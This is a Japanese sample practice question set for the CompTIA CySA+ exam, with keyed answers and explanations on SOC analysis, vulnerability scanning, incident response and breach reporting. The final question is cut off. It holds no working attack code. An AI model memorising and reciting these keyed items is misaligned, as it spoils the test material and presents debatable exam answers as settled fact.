CompTIA認定資格 CySA+ 演習問題集 [サンプル版]

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問 1
1:SecOps
セキュリティアナリストが最近チームに参加し、本番環境のスクリプトが悪意のあるものかどうかを判断するために、どのスクリプト言語が使用されているかを特定しようとしています。次のスクリプトが与えられた場合:

powershell
foreach ($user in Get-Content .\this.txt)
{
    Get-ADUser $user -Properties primaryGroupID |select-object primaryGroupID
    Add-ADGroupMember "Domain Users" -Members $user
    Set-ADUser $user -Replace @{primaryGroupID=513}
}



このスクリプトで使用されたスクリプト言語は、次のうちどれですか?
A. PowerShell
B. Ruby
C. Python
D. Shell script
正解:A
解説:
提示されたコードには、Active Directoryの管理に用いられるWindows PowerShell固有のコマンドレットや構文が含まれています。
・A(正解):Get-ContentやGet-ADUserなどの動詞と名詞を組み合わせたコマンドレット形式、パイプライン処理、変数の記述形式はPowerShell特有のものです。
・B(誤り):Rubyではコマンドレット形式の命名規則やパイプラインによるオブジェクト渡しは使用されず、独自の構文が用いられます。
・C(誤り):Pythonではインデントによるブロック制御が行われ、このような構文やコマンドレットは使用されません。
・D(誤り):UnixやLinuxのシェルスクリプトではBash等の標準コマンドが使用され、PowerShell独自のコマンドレットは使用されません。
未挑戦
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問 2
3:インシデント対応管理
インシデント対応チームが、インターネット停止の調査を開始するためのアラートを受信しました。この停止により、複数の拠点の全ユーザーが外部のSaaSリソースにアクセスできなくなっています。チームは、組織がDDoS攻撃の影響を受けたと判断しました。チームが最初に確認すべきログは次のうちどれですか?
A. CDN
B. 脆弱性スキャナー
C. DNS
D. Webサーバー
正解:C
解説:
複数拠点から外部のSaaSリソースへのアクセスが一斉に遮断された場合、名前解決を担うDNSインフラがDDoS攻撃の標的になっている可能性が高いため、DNSログを最優先で調査します。
・A(誤り):CDNは自社が外部に公開するWebコンテンツの配信最適化に用いられるものであり、社内ユーザーによる外部SaaSへのアウトバウンド通信障害の調査で最初に確認するログではありません。
・B(誤り):脆弱性スキャナーはシステムの弱点を事前に検出するツールであり、発生中のDDoS攻撃によるネットワーク障害をリアルタイムに調査するためのログは提供しません。
・C(正解):複数の拠点から外部リソースへの接続が遮断されている場合、ドメイン名解決を妨害するDDoS攻撃が疑われるため、DNSログを最初に確認して名前解決の異常や大量リクエストを調査します。
・D(誤り):Webサーバーログは自社がホストするWebサイトへのアクセス状況を記録するものであり、外部のSaaSサービスへのアクセス不能の原因究明には役立ちません。
未挑戦
☆
問 3
2:脆弱性管理
技術者がPCI監査のために一般的なネットワークマッピングツールからの出力を分析しています。

text
PORT STATE SERVICE VERSION
22/tcp open ssh Cisco SSH 1.25 (protocol 2.0)
443/tcp open ssl/http OpenResty web app server
|_http-server-header: openresty
| ssl-enum-ciphers:
| TLSv1.1:
| ciphers:
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
| compressors:
| NULL
| cipher preference: server
| warnings:
| Insecure certificate signature (SHA1), score capped at F
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - F
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - F
| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - F
| TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - F
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - F
| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - F
| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - F
| TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - F
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
| compressors:
| NULL
| cipher preference: server
| warnings:
| Insecure certificate signature (SHA1), score capped at F
|_ least strength: F
MAC Address: MAC ADDRESS(Cisco Systems)
Service Info: OS: IOS; CPE: cpe:/o:cisco:ios
Service detection performed. Please report any incorrect results at <REDACTED>.
<REDACTED> done: 1 IP address (1 host up) scanned in 16.47 seconds





次のうち出力を最も適切に説明しているものはどれですか?
A. ホストが稼働していないか、応答していません。
B. ホストが過剰な暗号スイートを実行しています。
C. ホストが安全でない暗号スイートを許可しています。
D. このホスト上のSecure Shellポートは閉じています。
正解:C
解説:
スキャン結果には非推奨のTLSv1.1プロトコルが有効化されている点や、安全性が低いため評価スコアがFと判定された暗号スイートおよびSHA-1署名が使用可能であることが示されています。
・A(誤り):スキャン結果の末尾にホストが稼働中である旨が記録されており、各ポートのサービス応答も得られているため誤りです。
・B(誤り):暗号スイートの数が多いこと自体が本質的な問題ではなく、脆弱で安全でない暗号設定が有効になっていることが重大な問題です。
・C(正解):非推奨のTLSバージョンやCBCモード、SHA-1署名などの安全でない暗号スイートがWebサーバー側で有効になっており、セキュリティ基準に違反しています。
・D(誤り):ポート22のSSHサービスはステータスがオープンと表示されており、ポートが閉じているという記述は誤りです。
未挑戦
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問 4
2:脆弱性管理
ある企業が脆弱性管理プログラムの実装を進めています。脆弱性特定プロセスによるOT/ICSデバイスの誤動作のリスクを最小限に抑えるために、実装すべきスキャン方法は次のうちどれですか?
A. 非認証スキャン
B. パッシブスキャン
C. エージェントベーススキャン
D. 認証スキャン
正解:B
解説:
産業用制御システムや運用技術環境の機器は独自プロトコルや脆弱な通信スタックを使用していることが多く、アクティブなパケット送信による機器停止を防ぐにはパッシブスキャンが不可欠です。
・A(誤り):非認証スキャンであっても対象デバイスにネットワークプローブパケットを能動的に送信するため、脆弱な産業機器がクラッシュする危険性があります。
・B(正解):パッシブスキャンはネットワークトラフィックを監視・収集して資産や脆弱性を特定し、機器への能動的なパケット送信を一切行わないため、誤動作のリスクを最小限に抑えられます。
・C(誤り):エージェントベーススキャンは対象機器への専用ソフトウェアの導入が必要ですが、独自OSを採用する多くの産業機器には導入できず、処理負荷による障害リスクもあります。
・D(誤り):認証スキャンはログインして内部を調査する能動的な手法であり、非対応の産業機器に対してコマンド発行や認証試行を行うことで予期せぬ動作不良を引き起こす恐れがあります。
未挑戦
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問 5
1:SecOps
SIEMアラート内のIPアドレスが既知の悪意のあるIPアドレスであるかどうかをアナリストが迅速に突き止めるのに役立つものは次のうちどれですか?
A. 自社の業界に特化した情報共有分析センターに参加する。
B. STIX/TAXII形式で脅威インテリジェンスをIPSにアップロードする。
C. インジェスチョンパイプラインでIPのデータエンリッチメントを追加する。
D. SIEMアラートを表示した後に脅威フィードを確認する。
正解:C
解説:
ログの取り込み段階で脅威インテリジェンスを用いたデータのエンリッチメントを自動適用しておくことで、アナリストがアラートを確認した時点で悪意のあるIPかどうかが即座に判明します。
・A(誤り):情報共有分析センターへの参加は業界全体の脅威情報を取得する枠組みですが、個別のアラート調査時にIPの悪意性をその場で即座に判別する技術的手段ではありません。
・B(誤り):IPSへの脅威情報アップロードはネットワーク境界でのインライン遮断に寄与しますが、SIEMアラートを調査するアナリストの迅速な情報特定を直接支援するものではありません。
・C(正解):ログ取り込みパイプラインでIPアドレスに脅威インテリジェンスのメタデータを自動付与することで、アナリストは外部調査を行わずにアラート画面上で迅速に悪意性を確認できます。
・D(誤り):アラート確認後に手動で脅威フィードを個別に参照する方法は作業工数と時間がかかり、迅速な調査手法としては非効率です。
未挑戦
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問 6
1:SecOps
セキュリティ管理者が、テスト目的で本番環境からテスト環境にPIIデータレコードをインポートする必要があります。データの機密性を最も適切に保護するものは次のうちどれですか?
A. データマスキング
B. ハッシュ化
C. 透かし
D. エンコード
正解:A
解説:
テスト環境に本番データを移行する際、機密性を保護しながらデータ形式やテストの有用性を維持するには、個人を特定可能な情報を匿名化または置換するデータマスキングが最適です。
・A(正解):データマスキングを適用することで、個人識別情報の実際の値を隠蔽または架空のデータに置き換え、テストの整合性を損なうことなくデータの機密性を保護できます。
・B(誤り):ハッシュ化は不可逆な変換手法であり、パスワード照合や整合性検証には適していますが、フォーマットの維持やテストデータの再利用には適していません。
・C(誤り):透かしは知的財産の保護や出所の証明を目的としてデータに識別子を埋め込む技術であり、機密情報の閲覧を防ぐものではありません。
・D(誤り):エンコードはデータを特定の形式に変換する処理にすぎず、容易に元の平文へ復号できるため、機密性の保護手段としては無効です。
未挑戦
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問 7
3:インシデント対応管理
ある組織が最近、BCおよびDR計画を変更しました。インシデント対応チームがビジネスに影響を与えることなく変更をテストできるようにする最適な方法は次のうちどれですか?
A. 以前に特定されたインシデントシナリオに基づいて机上訓練を実施する。
B. プライマリデータセンターの電源を遮断してインシデントをシミュレートする。
C. アクティブなワークロードをプライマリデータセンターからセカンダリ拠点に移行する。
D. 現在の計画を過去のインシデントから得られた教訓と比較する。
正解:A
解説:
事業継続や災害復旧の計画変更を検証する際、机上訓練は実際の業務環境や運用システムを停止させることなく、ディスカッション形式で手順の妥当性を評価できる安全な手法です。
・A(正解):机上訓練を実施することで、過去のインシデントシナリオに沿って関係者が机上でシミュレーションを行い、業務に一切支障をきたすことなく変更内容の実行可能性をテストできます。
・B(誤り):プライマリデータセンターの電源を実際に遮断するテストは、本番環境のサービス停止や予期せぬ障害を引き起こし、ビジネスに甚大な影響を与えるリスクがあります。
・C(誤り):稼働中のワークロードをセカンダリ拠点に移行するフェールオーバー訓練は、システムのダウンタイムや業務影響を伴う可能性があるため、無影響の検証手法とは言えません。
・D(誤り):過去の教訓との机上比較は文書のレビュー作業にすぎず、更新された対応手順が実際に機能するかどうかをチームでテストする手法ではありません。
未挑戦
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問 8
2:脆弱性管理
ある組織が侵害され、すべての従業員のユーザー名とパスワードがオンライン上に流出しました。この状況の影響を軽減できる修復策を最も適切に説明しているものは次のうちどれですか?
A. 多要素認証
B. パスワード変更
C. システムの堅牢化
D. パスワード暗号化
正解:A
解説:
ユーザー名とパスワードが流出した場合でも、多要素認証を導入することで、窃取された資格情報のみによる不正アクセスを防止し、インシデントの影響を最小限に抑えることができます。
・A(正解):多要素認証を適用することで、流出したユーザー名とパスワードだけでは認証を突破できなくなり、資格情報の漏洩による被害の影響を効果的に低減できます。
・B(誤り):パスワードの変更は一時的な無効化には有効ですが、単一要素認証のままでは再度のフィッシングや漏洩時に脆弱であり、流出の影響を恒久的に低減する修復策としては不十分です。
・C(誤り):システムの堅牢化はOSや不要なサービスの無効化を指し、漏洩した正規の認証情報を用いた不正ログインを直接防ぐものではありません。
・D(誤り):パスワードの暗号化やハッシュ化は保存時の保護策ですが、平文パスワードがすでに外部へ流出した後の影響を直接低減する修復策ではありません。
未挑戦
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問 9
1:SecOps
サイバーキルチェーンの次のフェーズのうち、エクスプロイトに成功したターゲットとの通信の確立を攻撃者が試みるものはどれですか?
A. コマンドアンドコントロール
B. 目的の実行
C. エクスプロイト
D. 配信
正解:A
解説:
サイバーキルチェーンにおいて、侵害した標的システム上に確立された通信チャネルを介して攻撃者が遠隔操作を行うフェーズはコマンドアンドコントロールです。
・A(正解):コマンドアンドコントロールフェーズでは、エクスプロイトとマルウェアのインストールに成功した標的端末と攻撃者サーバーとの間で双方向の通信リンクを確立します。
・B(誤り):目的の実行は攻撃の最終段階であり、データの持ち出し、改ざん、システムの破壊など、攻撃者が本来の目的を遂行するフェーズです。
・C(誤り):エクスプロイトフェーズは、標的システム上の脆弱性を突いて悪意あるコードを実行させる段階であり、外部との継続的な通信を確立するフェーズではありません。
・D(誤り):配信フェーズは、電子メールやWebサイトなどを通じて武器化されたペイロードを標的に届ける段階です。
未挑戦
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問 10
3:インシデント対応管理
インシデント対応チームが重大なセキュリティインシデントへの対応を完了しました。経営陣はリードアナリストに対し、教訓を含む事後対応レポートを提供するよう求めました。教訓を含める最も可能性の高い理由は次のうちどれですか?
A. インシデント報告に関する規制要件を満たすため。
B. 他の部門に説明責任を負わせるため。
C. インシデント対応プロセスにおける改善領域を特定するため。
D. 組織のインシデント対応チームの注目すべき実践を強調するため。
正解:C
解説:
教訓フェーズの目的は、過去の対応手順やツール、体制を客観的に評価し、将来のセキュリティインシデント対応能力を向上させるための改善点を明確にすることです。
・A(誤り):規制要件を満たすための報告は法的な義務に基づく外部報告であり、組織内部の対応力強化を主眼とする教訓の根本的な目的ではありません。
・B(誤り):教訓の共有は非難のない環境で行われるべきであり、他部門への責任追及や責任転嫁を目的とするものではありません。
・C(正解):インシデント対応プロセス全体の振り返りを通じて不備やボトルネックを分析し、将来に向けた具体的な改善領域を特定することが教訓を含める最大の理由です。
・D(誤り):チームの功績を称えることは士気向上につながる場合がありますが、客観的なプロセスの欠陥や改善課題を洗い出す教訓の本質的な目的ではありません。
未挑戦
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問 11
1:SecOps
ACME Commercialという企業のセキュリティアナリストは、https://office365password.acme.co に解決されるホストIPへの送信トラフィックがあることに気付きました。このサイトの標準のVPNログオンページは www.acme.com/logon です。次のうち最も可能性が高いものはどれですか?
A. これは通常のパスワード変更URLである。
B. セキュリティオペレーションセンターが定期的なパスワード監査を実行している。
C. 新しいVPNゲートウェイが展開された。
D. ソーシャルエンジニアリング攻撃が進行中である。
正解:D
解説:
正規ドメインとは異なる類似ドメインに資格情報入力を連想させるサブドメインが設定されている場合、資格情報窃取を目的としたフィッシングの兆候です。
・A(誤り):正規ドメインのacme.comではなく異なるトップレベルドメインのacme.coが使用されているため、通常のパスワード変更URLではありません。
・B(誤り):セキュリティオペレーションセンターの定期監査で、社外の不審な類似ドメイン宛てにトラフィックを誘導することはありません。
・C(誤り):新しいVPNゲートウェイの展開を示す根拠はなく、ドメイン名の不一致を説明する理由としても不適切です。
・D(正解):従業員を騙して認証情報を詐取するために作成された悪意あるフィッシングサイトへのアクセスと考えられ、ソーシャルエンジニアリング攻撃が進行中であることを示しています。
未挑戦
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問 12
2:脆弱性管理
境界ネットワーク内のWebサーバーのスキャン中に、ポート3389を介して悪用される可能性のある脆弱性が特定されました。WebサーバーはWAFによって保護されています。この脆弱性に関連する全体的なリスクの変化を最も適切に表しているものは次のうちどれですか?
A. ネットワークファイアウォールが使用されているためリスクは変化しない。
B. RDPがファイアウォールによってブロックされているためリスクは減少する。
C. Webアプリケーションファイアウォールが導入されているためリスクは減少する。
D. ホストが外部に面しているためリスクは増加する。
正解:D
解説:
境界ネットワークに配置された外部公開ホストで脆弱性が発見された場合、攻撃者からの到達性が高いため全体的なリスクは増加します。また、WAFはWebトラフィックのみを保護し、ポート3389のトラフィックは保護しません。
・A(誤り):ファイアウォールが存在していても、外部に公開された境界セグメントのホストに脆弱性がある場合、全体的なリスクは不変ではなく増加します。
・B(誤り):問題文ではRDPがファイアウォールでブロックされているという事実は提示されておらず、推測に基づく誤った前提です。
・C(誤り):WAFはHTTPやHTTPSなどのWebアプリケーション通信を保護するものであり、ポート3389を使用するRDPの脆弱性を緩和することはできません。
・D(正解):対象のサーバーが境界ネットワークで外部に面しているため、攻撃者から直接標的にされる可能性が高く、脆弱性に伴う全体的なリスクは増加します。
未挑戦
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問 13
3:インシデント対応管理
インシデント対応アナリストが最近のマルウェア発生の根本原因を調査しています。初期のバイナリ分析によると、このマルウェアはホストのセキュリティサービスを無効化し、初期ドロッパーの削除、イベントログエントリの削除、ホストからのプリフェッチファイルの削除など、感染ホスト上でクリーンアップルーチンを実行します。根本原因の証拠を明らかにする可能性が最も高いデータソースは次のうちどれですか?2つ選択してください。
A. ドロッパーの作成時間
B. レジストリアーティファクト
C. EDRデータ
D. プリフェッチファイル
E. ファイルシステムメタデータ
F. Sysmonイベントログ
正解:B, C
解説:
感染端末上でログやファイルが消去されるクリーンアップルーチンが実行された場合でも、中央集約されたデータやマルウェアが削除しきれなかったシステム領域から初期の侵害証拠を特定できます。
・A(誤り):初期ドロッパー自体がマルウェアのクリーンアップによって削除されているため、直接的な作成時間を取得することは困難です。
・B(正解):ShimcacheやAmcacheなどのレジストリアーティファクトには過去に実行されたプログラムの痕跡が保持されており、マルウェアのクリーンアップ対象から外れて残存している可能性が高いです。
・C(正解):EDRは端末上のセキュリティサービスが無効化される前の初期活動データを中央コンソールやクラウドにリアルタイム転送しているため、ホスト上の証拠が消去されても根本原因を追跡できます。
・D(誤り):マルウェアのクリーンアップルーチンによってホストから削除されたと問題文に明記されているため、調査データソースとして利用できません。
・E(誤り):ファイルシステムメタデータから削除ファイルの痕跡が追える場合もありますが、中央収集されたEDRデータや実行履歴を直接証明するレジストリアーティファクトの方が根本原因の特定において優先されます。
・F(誤り):マルウェアによってイベントログエントリが削除されているため、Windowsイベントログの一部であるSysmonログも消去されている可能性が高く信頼できません。
未挑戦
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問 14
1:SecOps
ネットワークアナリストは、WAN接続の反対側にある2つのIPアドレス間でポート1433のトラフィックが長時間急増していることに気付きました。最も可能性の高い原因は次のうちどれですか?
A. ローカルレッドチームメンバーがホストを列挙するためにローカルRFC1918セグメントを探索している。
B. 脅威アクターがネットワーク上に足場を築き、制御ビーコンを送信している。
C. 管理者がSOCに通知せずに新しいデータベースレプリケーションプロセスを実行した。
D. 内部脅威アクターがローカルセグメントでResponderを実行し、トラフィックの複製を作成している。
正解:C
解説:
ポート1433はMicrosoft SQL Serverの通信ポートであり、WANを挟んだ大量かつ長時間の通信トラフィックは、未通知で開始されたデータベース同期や複製処理に起因することが一般的です。
・A(誤り):ローカルセグメントのホスト列挙であれば多様なポートスキャンがローカルネットワーク内で発生するため、WAN接続を介した単一ポートの長時間通信とは一致しません。
・B(誤り):C2サーバーへのビーコン送信は検知を逃れるため短時間かつ低容量の通信であることが多く、長時間のトラフィック急増を引き起こすことは稀です。
・C(正解):ポート1433を使用するSQL Server間で大量のデータを同期するレプリケーション処理が事前通知なしで実行された場合、WAN経由のトラフィックが長時間急増する原因として最も合致しています。
・D(誤り):Responderはローカルサブネット内でLLMNRやNBT-NSの要求をポイズニングするツールであり、WANを介したポート1433のトラフィック急増とは無関係です。
未挑戦
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問 15
2:脆弱性管理
セキュリティアナリストが、会社のすべての機能サブネットを含む脆弱性スキャンを準備しました。最初のスキャン中に、ネットワークプリンターが判読不能なテキストやアイコンを含むページの印刷を開始したとユーザーから報告がありました。その後の脆弱性スキャンでこの動作が発生しないようにするために、アナリストが実行すべきことは次のうちどれですか?
A. 非認証スキャンを実行する。
B. 組み込みWebサーバーポートを無視する。
C. プリンターサブネット用にカスタマイズされたスキャンを作成する。
D. スキャンタイムアウトのしきい値の長さを増やす。
正解:C
解説:
ネットワークプリンターなどの組み込み機器は特定ポートへの汎用スキャンパケットを印刷要求と誤認しやすいため、専用のスキャンプロファイルを定義して適用する必要があります。
・A(誤り):非認証スキャンであってもプリンターポートへの探索通信は行われるため、誤印刷の発生を回避することはできません。
・B(誤り):組み込みWebサーバーの管理ポートを無視しても、印刷サービスポートへのスキャンパケットが送信される限り誤印刷は防げません。
・C(正解):プリンターが存在するサブネットを分離し、印刷プロトコルへの不要なプローブを除外した専用のスキャン設定を作成することで、機器の誤動作を確実に防止できます。
・D(誤り):タイムアウト時間を延長しても送信されるプローブパケットの内容自体は変わらないため、誤印刷の発生を止めることはできません。
未挑戦
☆
問 16
3:インシデント対応管理
給与計算部門の従業員がフィッシング攻撃の標的となり、攻撃者が部門ディレクターになりすまして口座振込先情報を新しい口座に更新するよう要求しました。その後、未承認の口座への振込が実行されました。攻撃の通知を受けた際に、インシデント対応チームが最初に取るべき対応の1つは次のうちどれですか?
A. 従業員のコンピュータをウイルスおよびマルウェアツールでスキャンする。
B. 従業員が取った行動およびイベントに関連するメールを確認する。
C. 人事部門に連絡し、従業員の解雇を推奨する。
D. インシデントに関与した従業員にセキュリティ意識向上トレーニングを割り当てる。
正解:B
解説:
ビジネスメール詐欺などのソーシャルエンジニアリング攻撃では、インシデント対応の分析フェーズとして、まず攻撃メールの詳細や被害者が実行した具体的な手続き内容を把握することが最優先されます。
・A(誤り):本件はなりすましによる純粋なソーシャルエンジニアリング攻撃であり、マルウェア感染の兆候がない段階で端末スキャンを最優先に行うのは的確ではありません。
・B(正解):攻撃者が送信した偽装メールのヘッダーや本文、および従業員が実際に行った口座変更手続きの内容を確認することで、攻撃手法や影響範囲を正確に把握できます。
・C(誤り):従業員を処罰・解雇することはインシデント対応チームの職務ではなく、原因調査や被害拡大防止の観点からも適切ではありません。
・D(誤り):セキュリティ意識向上トレーニングの実施は再発防止に向けた事後対応策であり、進行中のインシデントへの初動対応ではありません。
未挑戦
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問 17
1:SecOps
サイバーセキュリティアナリストは、組織のデータを分類するためにDLPプロジェクトチームに参加しています。データを分類する主な目的は次のうちどれですか?
A. 規制コンプライアンス要件を特定するため
B. DLPルールの作成を促進するため
C. IT費用の優先順位を付けるため
D. 組織にとってのデータの価値を確立するため
正解:B
解説:
DLPソリューションを効果的に機能させるためには、事前にデータの機密性レベルを定義・タグ付けし、それに基づいた適切な検査・遮断ポリシーを適用できるようにすることが不可欠です。
・A(誤り):規制コンプライアンス要件の特定はデータ分類作業を行う前提となる法的評価であり、DLPの導入プロジェクトにおいて分類を実施する直接の運用目的ではありません。
・B(正解):機密情報や個人情報などのデータ分類を事前に行うことで、どのようなデータを保護・遮断すべきかを明確にし、DLPツールの検知・防止ルールの適切な作成と適用を促進できます。
・C(誤り):データ分類は保護レベルを決定するための情報ガバナンス活動であり、IT予算や支出の優先順位を決定するためのものではありません。
・D(誤り):データの価値を評価することはリスクマネジメントの一般的な活動ですが、DLPプロジェクトにおける分類作業の直接的な実務目的は保護ルールの定義にあります。
未挑戦
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問 18
1:SecOps
ある小規模企業には、給与管理における誤謬や不正を防ぐための職務分掌を効果的に行うのに十分な人員がいません。最高情報セキュリティ責任者はリスクを軽減するためにログと監査証跡を維持およびレビューすることを決定しました。最高情報セキュリティ責任者が実装したものは次のうちどれですか?
A. 是正コントロール
B. 代替コントロール
C. 運用コントロール
D. 管理的コントロール
正解:B
解説:
人員不足などの制約により本来必要なセキュリティ管理策を直接満たせない場合、同等レベルの保護や監視を提供する代替的な手段を講じる必要があります。
・A(誤り):是正コントロールはインシデントや違反が発生した後に正常な状態へ復旧させるための対策であり、予防策の不足を補うものではありません。
・B(正解):人員不足で職務分掌を直接適用できない状況において、ログや監査証跡のレビューによって不正リスクを抑制する措置は代替コントロールに該当します。
・C(誤り):運用コントロールは日々の業務運用で実施される管理策の総称ですが、本来の要件を満たせない場合の補填策という文脈を正確に表す用語ではありません。
・D(誤り):管理的コントロールは組織の方針や手順書などを指す大枠の分類であり、特定の機能不備を補うコントロールの性質を直接表したものではありません。
未挑戦
☆
問 19
1:SecOps
組織は自社のクラウドインフラストラクチャがハーデニングされた構成を持つことを確実にしたいと考えています。要件は、安全なテンプレートを使用して展開できるサーバーイメージを作成することです。安全な構成を確保するための最適なリソースは次のうちどれですか?
A. CIS Benchmarks
B. PCI DSS
C. OWASP Top 10
D. ISO 27001
正解:A
解説:
OSやクラウド基盤の構成をセキュアに堅牢化(ハーデニング)するための業界標準の構成チェックリストやテンプレート基準として、CIS Benchmarksが広く利用されています。
・A(正解):CIS Benchmarksは各OS、ミドルウェア、クラウドサービスに対して具体的かつ詳細な構成ガイドラインを提供しており、セキュアなベースラインイメージの作成に最適です。
・B(誤り):PCI DSSはクレジットカード会員データの取り扱いに関するセキュリティ基準であり、汎用的なサーバーイメージの構成ガイドラインではありません。
・C(誤り):OWASP Top 10はWebアプリケーションにおける代表的なセキュリティリスクのリストであり、インフラサーバーのOS構成基準ではありません。
・D(誤り):ISO 27001は情報セキュリティマネジメントシステムの国際規格であり、個別のサーバー設定や具体的な構成パラメータを指示するものではありません。
未挑戦
☆
問 20
1:SecOps
セキュリティアナリストが特権アカウントからの以下のアクティビティを監視しました。

・メールおよび機密情報へのアクセス
・監査ログの変更
・異常なログイン時間

観察されたアクティビティを最も適切に説明しているものは次のうちどれですか?
A. 不規則なピアツーピア通信
B. 未承認の特権
C. ネットワーク上の不正デバイス
D. 内部攻撃
正解:D
解説:
正当な特権を持つ内部関係者が、その権限を悪用して機密データを閲覧し、痕跡を隠滅するためにログを改ざんする行為は、悪意ある内部不正の明確な特徴です。
・A(誤り):端末同士が直接通信を行うピアツーピア通信の兆候ではなく、特権アカウントによるシステム内での不正操作を示しています。
・B(誤り):アカウント自体は正当な特権を保持しており、権限昇格の失敗や未承認の権限付与というよりは、既存特権の悪用を示しています。
・C(誤り):不正な未承認デバイスが接続された事象ではなく、認証された特権ユーザーのアカウントアクティビティに関する問題です。
・D(正解):特権ユーザーが業務時間外に機密データへアクセスし、監査ログを変更して痕跡を隠そうとする一連の行動は、典型的な内部攻撃を表しています。
未挑戦
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問 21
4:報告とコミュニケーション
ある組織で、PIIが一般に公開される結果となったデータ侵害が発見されました。教訓のレビュー中に、パネルは外部報告の責任者およびタイミング要件に関する食い違いを特定しました。報告の問題に最も適切に対処するアクションは次のうちどれですか?
A. インシデントタイプごとに特定のSLAと封じ込めアクションを示すプレイブックを作成する。
B. 連邦法、規制コンプライアンス要件、および組織のポリシーを調査して、特定の報告SLAを文書化する。
C. 内部関係者に加えて、どのセキュリティインシデントで外部への通知とインシデント報告が必要かを定義する。
D. タスクを効率化するために、セキュリティチームおよびステークホルダー内で特定の役割と責任を指定する。
正解:B
解説:
個人情報漏洩における外部報告では、適用される法令や規制基準によって報告先、報告責任、および厳格な期限が定められているため、法規制を精査して報告手順を定義することが不可欠です。
・A(誤り):インシデント別の封じ込めプレイブックの策定は対応手順の標準化に役立ちますが、外部への法的な報告要件や通知期限の食い違いを直接解決する主たる対策ではありません。
・B(正解):関連する連邦法、業界規制、および内部ポリシーを綿密に調査し、法的に義務付けられた報告期限や手順を明確なSLAとして文書化することで、外部報告に関する責任と時期の曖昧さを根本から解消できます。
・C(誤り):報告対象となるインシデント種別の定義も有用ですが、本件で問題となっている具体的な報告責任者や期限要件を法規制に基づいて確立する包括的な解決策には至りません。
・D(誤り):内部チームの役割分担の指定は重要ですが、法令や規制に基づく厳格な報告要件や期限を把握していなければ適切な責任とSLAを定義できません。
未挑戦
☆
問 22
2:脆弱性管理
セキュリティアナリストは、新しいパッチについてインフラストラクチャチームにより迅速に通知できるようにするサーバーパッチ管理ポリシーに取り組んでいます。脆弱性を迅速に修復できるようにするために、インフラストラクチャチームが最も必要とする可能性が高いものは次のうちどれですか?2つ選択してください。
A. ホスト名
B. 不足しているKPI
C. CVE詳細
D. POCの可用性
E. IOC
F. npm識別子
正解:A, C
解説:
インフラストラクチャ担当者がサーバーへのパッチ適用を遅滞なく実行するためには、対象となる資産の特定情報と適用すべきセキュリティ修正の技術的根拠が不可欠です。
・A(正解):影響を受けるシステムのホスト名が明示されることで、インフラチームはどのサーバーに対してパッチを適用すべきかを即座に特定できます。
・B(誤り):KPIは管理部門がパッチ適用の進捗や目標達成率を測定するための指標であり、エンジニアが個別のパッチ適用作業を行うために直接必要な技術情報ではありません。
・C(正解):CVE詳細が提供されることで、脆弱性の性質、影響度、およびベンダーから提供されている対応パッチや修正プログラムの情報を正確に把握できます。
・D(誤り):実証コードの可用性は脆弱性の悪用難易度を評価する材料にはなりますが、インフラチームが修正パッチを適用する作業において必須の情報ではありません。
・E(誤り):IOCは侵害の発生を検出・調査するための侵害指標であり、パッチ適用による予防的修復作業に直接要求される情報ではありません。
・F(誤り):npm識別子は特定のNode.jsパッケージに限定された情報であり、サーバー全体のOSやミドルウェアのパッチ管理において汎用的に求められる要件ではありません。
未挑戦
☆
問 23
1:SecOps
セキュリティアナリストが会社のラップトップでの不審なアクティビティに関するアラートを受け取ります。ログの抜粋は以下のとおりです。

プロセスログ抜粋
イベント番号プロセス親プロセス
1Console Windows Host (conhost.exe)System (-)
2Console Windows Host (conhost.exe)Command Prompt (cmd.exe)
3Windows Explorer (Explorer.exe)Microsoft Outlook (outlook.exe)
4Microsoft Outlook (outlook.exe)Microsoft Word (winword.exe)
5Microsoft Word (winword.exe)PowerShell (powershell.exe)
6Windows Explorer (Explorer.exe)Google Chrome (chrome.exe)

次のうち発生した可能性が最も高いものはどれですか?
A. 悪意のあるマクロを含むOffice文書が開かれた。
B. 認証情報を盗むWebサイトにアクセスした。
C. メール内のフィッシングリンクがクリックされた。
D. Webブラウザの脆弱性が悪用された。
正解:A
解説:
メールクライアント経由で文書作成ソフトウェアが起動され、そこからさらにスクリプト実行環境が呼び出されるプロセスの関係性は、悪意あるマクロが実行された際の典型的な挙動です。
・A(正解):Microsoft WordプロセスからPowerShellが呼び出されているログは、Word文書に含まれる悪意あるマクロが実行されてスクリプトを起動したことを強く示しています。
・B(誤り):認証情報を窃取するWebサイトへのアクセスであればブラウザ上でのフォーム入力などが主体となり、WordからPowerShellが実行されるプロセストリーとは一致しません。
・C(誤り):メール内のリンクをクリックした場合はOutlookからWebブラウザが起動されるのが一般的であり、WordおよびPowerShellの実行を説明する理由にはなりません。
・D(誤り):Webブラウザの脆弱性悪用であればChromeなどのブラウザプロセスを起点とした不正な子プロセスが観測されるため、本ログの事象とは異なります。
未挑戦
☆
問 24
1:SecOps
セキュリティアナリストが時系列で以下のアクティビティを観察しました。

1. 外部ファイアウォールでのプロトコル違反アラート


2. 未承認の内部スキャンアクティビティ


3. 送信ネットワークパフォーマンスの変化



脅威アクターの目標を最も適切に説明しているものは次のうちどれですか?
A. データの流出
B. 異常なトラフィックの急増
C. 不正デバイス
D. 不規則なピアツーピア通信
正解:A
解説:
初期侵入の試み、内部の偵察や横展開、そして外部向け送信トラフィックによる帯域消費という一連の時系列行動は、機密データを外部へ持ち出すサイバー攻撃の典型的な流れです。
・A(正解):境界の突破、内部ネットワークでの探索活動、それに続くアウトバウンド通信の急増によるパフォーマンス低下は、侵害の最終目的であるデータの流出が行われていることを強く示しています。
・B(誤り):異常なトラフィックの急増はネットワーク上で観察された現象の1つに過ぎず、攻撃者が達成しようとしている最終的な目標そのものではありません。
・C(誤り):不正デバイスの接続は内部スキャンの要因となり得ますが、外部ファイアウォールでのアラートから始まる一連の攻撃目標を説明するものではありません。
